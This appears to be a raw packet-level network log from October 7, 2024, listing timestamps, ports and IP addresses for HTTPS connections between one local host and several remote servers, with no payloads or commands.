Oct 7, 2024 13:17:00.617861032 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.617954016 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.617985010 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.617995977 CEST	49758	443	192.168.2.4	151.101.2.137
Oct 7, 2024 13:17:00.618002892 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.618014097 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.618068933 CEST	49758	443	192.168.2.4	151.101.2.137
Oct 7, 2024 13:17:00.618079901 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.618119955 CEST	49758	443	192.168.2.4	151.101.2.137
Oct 7, 2024 13:17:00.618124008 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.618132114 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.618163109 CEST	49758	443	192.168.2.4	151.101.2.137
Oct 7, 2024 13:17:00.618170023 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.618802071 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.618838072 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.618844032 CEST	49758	443	192.168.2.4	151.101.2.137
Oct 7, 2024 13:17:00.618854046 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.619029045 CEST	49758	443	192.168.2.4	151.101.2.137
Oct 7, 2024 13:17:00.622886896 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.662069082 CEST	49758	443	192.168.2.4	151.101.2.137
Oct 7, 2024 13:17:00.704890013 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.704917908 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.704946995 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.704967976 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.704981089 CEST	49758	443	192.168.2.4	151.101.2.137
Oct 7, 2024 13:17:00.704991102 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.705024004 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.705048084 CEST	49758	443	192.168.2.4	151.101.2.137
Oct 7, 2024 13:17:00.705060959 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.705110073 CEST	49758	443	192.168.2.4	151.101.2.137
Oct 7, 2024 13:17:00.705126047 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.705173969 CEST	49758	443	192.168.2.4	151.101.2.137
Oct 7, 2024 13:17:00.705735922 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.706077099 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.706094980 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.706114054 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.706211090 CEST	49758	443	192.168.2.4	151.101.2.137
Oct 7, 2024 13:17:00.706228971 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.706604004 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.706677914 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.706695080 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.706696033 CEST	49758	443	192.168.2.4	151.101.2.137
Oct 7, 2024 13:17:00.706710100 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.706810951 CEST	49758	443	192.168.2.4	151.101.2.137
Oct 7, 2024 13:17:00.706823111 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.706881046 CEST	49758	443	192.168.2.4	151.101.2.137
Oct 7, 2024 13:17:00.707602024 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.715600014 CEST	443	49760	184.28.90.27	192.168.2.4
Oct 7, 2024 13:17:00.715678930 CEST	49760	443	192.168.2.4	184.28.90.27
Oct 7, 2024 13:17:00.716939926 CEST	49760	443	192.168.2.4	184.28.90.27
Oct 7, 2024 13:17:00.716943979 CEST	443	49760	184.28.90.27	192.168.2.4
Oct 7, 2024 13:17:00.717420101 CEST	443	49760	184.28.90.27	192.168.2.4
Oct 7, 2024 13:17:00.718415976 CEST	49760	443	192.168.2.4	184.28.90.27
Oct 7, 2024 13:17:00.758064985 CEST	49758	443	192.168.2.4	151.101.2.137
Oct 7, 2024 13:17:00.758088112 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.763397932 CEST	443	49760	184.28.90.27	192.168.2.4
Oct 7, 2024 13:17:00.791251898 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.791279078 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.791305065 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.791322947 CEST	49758	443	192.168.2.4	151.101.2.137
Oct 7, 2024 13:17:00.791342020 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.791361094 CEST	49758	443	192.168.2.4	151.101.2.137
Oct 7, 2024 13:17:00.791377068 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.791479111 CEST	49758	443	192.168.2.4	151.101.2.137
Oct 7, 2024 13:17:00.791487932 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.791716099 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.791742086 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.791762114 CEST	49758	443	192.168.2.4	151.101.2.137
Oct 7, 2024 13:17:00.791773081 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.791865110 CEST	49758	443	192.168.2.4	151.101.2.137
Oct 7, 2024 13:17:00.791987896 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.792157888 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.792182922 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.792224884 CEST	49758	443	192.168.2.4	151.101.2.137
Oct 7, 2024 13:17:00.792232990 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.792274952 CEST	49758	443	192.168.2.4	151.101.2.137
Oct 7, 2024 13:17:00.792568922 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.793884039 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.793889999 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.793901920 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.793939114 CEST	49758	443	192.168.2.4	151.101.2.137
Oct 7, 2024 13:17:00.793942928 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.793966055 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.793979883 CEST	49758	443	192.168.2.4	151.101.2.137
Oct 7, 2024 13:17:00.794013023 CEST	49758	443	192.168.2.4	151.101.2.137
Oct 7, 2024 13:17:00.878129959 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.878165960 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.878189087 CEST	49758	443	192.168.2.4	151.101.2.137
Oct 7, 2024 13:17:00.878195047 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.878237963 CEST	49758	443	192.168.2.4	151.101.2.137
Oct 7, 2024 13:17:00.878496885 CEST	49758	443	192.168.2.4	151.101.2.137
Oct 7, 2024 13:17:00.878513098 CEST	443	49758	151.101.2.137	192.168.2.4
Oct 7, 2024 13:17:00.900465012 CEST	49768	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:00.900554895 CEST	443	49768	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:00.900571108 CEST	49769	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:00.900618076 CEST	443	49769	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:00.900660992 CEST	49770	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:00.900671005 CEST	443	49770	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:00.900690079 CEST	49768	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:00.900696993 CEST	49769	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:00.900729895 CEST	49770	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:00.900800943 CEST	49771	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:00.900820017 CEST	443	49771	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:00.900881052 CEST	49771	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:00.901063919 CEST	49770	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:00.901082993 CEST	443	49770	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:00.901170015 CEST	49769	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:00.901184082 CEST	443	49769	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:00.901281118 CEST	49768	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:00.901314974 CEST	443	49768	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:00.901382923 CEST	49771	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:00.901403904 CEST	443	49771	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:00.956501961 CEST	443	49762	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:00.956707954 CEST	49762	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:00.956716061 CEST	443	49762	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:00.957806110 CEST	443	49762	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:00.958062887 CEST	49762	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:00.958163977 CEST	49762	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:00.958167076 CEST	443	49762	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:00.958228111 CEST	443	49762	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:00.969031096 CEST	443	49763	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:00.969257116 CEST	49763	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:00.969320059 CEST	443	49763	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:00.972878933 CEST	443	49763	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:00.972949982 CEST	49763	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:00.973212004 CEST	49763	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:00.973359108 CEST	49763	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:00.973371983 CEST	443	49763	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:00.973396063 CEST	443	49763	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:00.992604017 CEST	443	49760	184.28.90.27	192.168.2.4
Oct 7, 2024 13:17:00.993179083 CEST	443	49760	184.28.90.27	192.168.2.4
Oct 7, 2024 13:17:00.993308067 CEST	49760	443	192.168.2.4	184.28.90.27
Oct 7, 2024 13:17:00.993372917 CEST	49760	443	192.168.2.4	184.28.90.27
Oct 7, 2024 13:17:00.993380070 CEST	443	49760	184.28.90.27	192.168.2.4
Oct 7, 2024 13:17:00.993388891 CEST	49760	443	192.168.2.4	184.28.90.27
Oct 7, 2024 13:17:00.993391991 CEST	443	49760	184.28.90.27	192.168.2.4
Oct 7, 2024 13:17:00.998064041 CEST	49762	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.003694057 CEST	443	49764	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.003854990 CEST	49764	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.003866911 CEST	443	49764	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.005343914 CEST	443	49764	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.005424023 CEST	49764	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.008919954 CEST	49764	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.009001017 CEST	443	49764	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.010901928 CEST	49764	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.010907888 CEST	443	49764	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.014247894 CEST	49763	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.014309883 CEST	443	49763	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.018218040 CEST	443	49766	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.022659063 CEST	49766	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.022690058 CEST	443	49766	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.024262905 CEST	443	49765	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.024728060 CEST	49765	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.024748087 CEST	443	49765	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.026171923 CEST	443	49765	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.026245117 CEST	443	49766	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.026247978 CEST	49765	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.026313066 CEST	49766	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.026832104 CEST	49766	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.027020931 CEST	443	49766	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.027476072 CEST	49765	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.027559042 CEST	443	49765	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.027592897 CEST	49766	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.027610064 CEST	443	49766	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.027653933 CEST	49765	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.027664900 CEST	443	49765	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.032999992 CEST	443	49761	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.035492897 CEST	49761	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.035501957 CEST	443	49761	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.036597013 CEST	443	49761	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.038661003 CEST	49761	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.038827896 CEST	443	49761	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.038933039 CEST	49761	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.053493977 CEST	49764	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.067177057 CEST	49763	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.067188978 CEST	49766	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.067189932 CEST	49765	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.079416990 CEST	443	49761	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.100512028 CEST	443	49762	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.100799084 CEST	443	49762	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.100847006 CEST	443	49762	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.100847006 CEST	49762	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.101489067 CEST	49762	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.101897955 CEST	49762	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.101902962 CEST	443	49762	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.120148897 CEST	443	49763	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.120197058 CEST	443	49763	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.120217085 CEST	443	49763	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.120289087 CEST	49763	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.120290041 CEST	49763	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.120368958 CEST	443	49763	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.120408058 CEST	443	49763	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.120454073 CEST	49763	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.121939898 CEST	49763	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.121972084 CEST	443	49763	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.151707888 CEST	443	49764	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.151776075 CEST	443	49764	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.151918888 CEST	443	49764	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.151948929 CEST	49764	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.153537989 CEST	49764	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.159591913 CEST	443	49766	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.159646034 CEST	443	49766	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.159791946 CEST	443	49766	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.159846067 CEST	443	49766	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.159849882 CEST	49766	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.160197973 CEST	49766	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.160940886 CEST	49764	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.160963058 CEST	443	49764	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.163431883 CEST	49766	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.163470030 CEST	443	49766	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.165286064 CEST	443	49765	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.165354967 CEST	443	49765	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.165375948 CEST	443	49765	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.165416002 CEST	49765	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.165448904 CEST	443	49765	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.165478945 CEST	49765	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.176971912 CEST	443	49761	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.177037954 CEST	443	49761	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.177196980 CEST	49761	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.177217007 CEST	443	49761	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.185029984 CEST	443	49765	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.185224056 CEST	49765	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.185285091 CEST	443	49765	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.195316076 CEST	443	49761	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.195386887 CEST	49761	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.195391893 CEST	443	49761	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.227751970 CEST	49765	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.243241072 CEST	49761	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.256072998 CEST	443	49765	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.256244898 CEST	443	49765	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.256269932 CEST	49765	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.256335974 CEST	49765	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.264930964 CEST	443	49761	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.264941931 CEST	443	49761	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.265012980 CEST	49761	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.266609907 CEST	443	49761	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.266630888 CEST	443	49761	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.266685009 CEST	49761	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.266715050 CEST	49761	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.266732931 CEST	443	49761	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.266777039 CEST	49761	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.266784906 CEST	443	49761	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.266877890 CEST	443	49761	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.266917944 CEST	49761	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.286843061 CEST	49774	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.286900043 CEST	443	49774	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.287024021 CEST	49774	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.294692993 CEST	49774	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.294713974 CEST	443	49774	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.304425955 CEST	49775	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.304505110 CEST	443	49775	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.304585934 CEST	49775	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.304938078 CEST	49776	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.305021048 CEST	443	49776	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.305074930 CEST	49775	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.305107117 CEST	443	49775	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.305147886 CEST	49776	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.305213928 CEST	49776	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.305234909 CEST	443	49776	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.305505037 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.305531025 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.305615902 CEST	443	49767	77.232.36.155	192.168.2.4
Oct 7, 2024 13:17:01.305777073 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.306077957 CEST	49767	443	192.168.2.4	77.232.36.155
Oct 7, 2024 13:17:01.306143045 CEST	443	49767	77.232.36.155	192.168.2.4
Oct 7, 2024 13:17:01.306195974 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.306210995 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.307621002 CEST	443	49767	77.232.36.155	192.168.2.4
Oct 7, 2024 13:17:01.307696104 CEST	49767	443	192.168.2.4	77.232.36.155
Oct 7, 2024 13:17:01.308141947 CEST	49767	443	192.168.2.4	77.232.36.155
Oct 7, 2024 13:17:01.308229923 CEST	443	49767	77.232.36.155	192.168.2.4
Oct 7, 2024 13:17:01.308243036 CEST	49767	443	192.168.2.4	77.232.36.155
Oct 7, 2024 13:17:01.308470011 CEST	49765	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.308490038 CEST	443	49765	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.309649944 CEST	49778	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.309673071 CEST	443	49778	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.310497046 CEST	49778	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.310759068 CEST	49778	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.310775042 CEST	443	49778	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.321115971 CEST	49781	443	192.168.2.4	185.76.79.50
Oct 7, 2024 13:17:01.321130991 CEST	443	49781	185.76.79.50	192.168.2.4
Oct 7, 2024 13:17:01.321204901 CEST	49781	443	192.168.2.4	185.76.79.50
Oct 7, 2024 13:17:01.321485996 CEST	49781	443	192.168.2.4	185.76.79.50
Oct 7, 2024 13:17:01.321504116 CEST	443	49781	185.76.79.50	192.168.2.4
Oct 7, 2024 13:17:01.350775003 CEST	49767	443	192.168.2.4	77.232.36.155
Oct 7, 2024 13:17:01.350850105 CEST	443	49767	77.232.36.155	192.168.2.4
Oct 7, 2024 13:17:01.394397974 CEST	443	49769	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.396631002 CEST	49767	443	192.168.2.4	77.232.36.155
Oct 7, 2024 13:17:01.400366068 CEST	443	49768	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.440608978 CEST	49769	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.442269087 CEST	49768	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.452096939 CEST	49768	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.452124119 CEST	443	49768	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.452219009 CEST	49769	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.452238083 CEST	443	49769	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.453186989 CEST	443	49769	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.453248024 CEST	49769	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.453586102 CEST	49769	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.453656912 CEST	443	49769	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.453675985 CEST	49769	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.453923941 CEST	49761	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.453938961 CEST	443	49761	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.454396963 CEST	49782	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.454497099 CEST	443	49782	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.454571962 CEST	49782	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.455801010 CEST	443	49768	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.455882072 CEST	49768	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.494232893 CEST	49782	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.494318962 CEST	443	49782	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.494801044 CEST	49768	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.495162964 CEST	443	49768	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.495882034 CEST	49768	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.495929003 CEST	443	49768	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.499401093 CEST	443	49769	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.501960039 CEST	49769	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.501970053 CEST	443	49769	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.552454948 CEST	49769	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.552468061 CEST	49768	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.800009966 CEST	443	49767	77.232.36.155	192.168.2.4
Oct 7, 2024 13:17:01.800189972 CEST	443	49767	77.232.36.155	192.168.2.4
Oct 7, 2024 13:17:01.800276041 CEST	49767	443	192.168.2.4	77.232.36.155
Oct 7, 2024 13:17:01.802079916 CEST	49767	443	192.168.2.4	77.232.36.155
Oct 7, 2024 13:17:01.802145004 CEST	443	49767	77.232.36.155	192.168.2.4
Oct 7, 2024 13:17:01.805033922 CEST	443	49771	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.805802107 CEST	443	49770	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.809284925 CEST	49771	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.809328079 CEST	443	49771	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.809389114 CEST	49770	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.809421062 CEST	443	49770	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.810889959 CEST	443	49771	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.810986042 CEST	49771	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:01.810988903 CEST	443	49770	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:01.811049938 CEST	49770	443	192.168.2.4	192.185.125.111
